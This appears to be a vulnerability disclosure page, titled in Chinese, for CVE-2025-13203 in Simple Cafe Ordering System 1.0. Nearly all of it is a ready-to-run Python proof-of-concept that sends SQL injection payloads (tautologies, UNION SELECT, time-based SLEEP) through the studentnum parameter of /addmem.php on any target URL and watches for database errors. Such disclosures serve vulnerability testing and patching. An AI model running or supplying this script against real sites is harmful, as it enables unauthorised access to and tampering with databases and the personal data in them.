CVE-2025-13203 Simple Cafe Ordering System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13203 PoC - SQL Injection in Simple Cafe Ordering System # Target: /addmem.php parameter: studentnum def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-13203 Target: Simple Cafe Ordering System 1.0 Vulnerable File: /addmem.php Vulnerable Parameter: studentnum """ # Target endpoint endpoint = f"{target_url}/addmem.php" # SQL Injection payloads payloads = [ "' OR '1'='1' --", "' UNION SELECT NULL,NULL,NULL --", "' AND SLEEP(5) --", "' OR 1=1 LIMIT 1 --" ] # Normal registration data data = { "studentnum": "12345678", "fullname": "Test User", "email": "[email protected]", "phone": "1234567890", "address": "Test Address" } print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-13203") print(f"[*] Testing {len(payloads)} payloads...") for i, payload in enumerate(payloads, 1): test_data = data.copy() test_data["studentnum"] = payload try: response = requests.post(endpoint, data=test_data, timeout=10) print(f"[+] Payload {i}: {payload}") print(f" Status: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for SQL error indicators if "sql" in response.text.lower() or "mysql" in response.text.lower(): print(f" [!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Error with payload {i}: {e}") print("[*] PoC execution completed") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)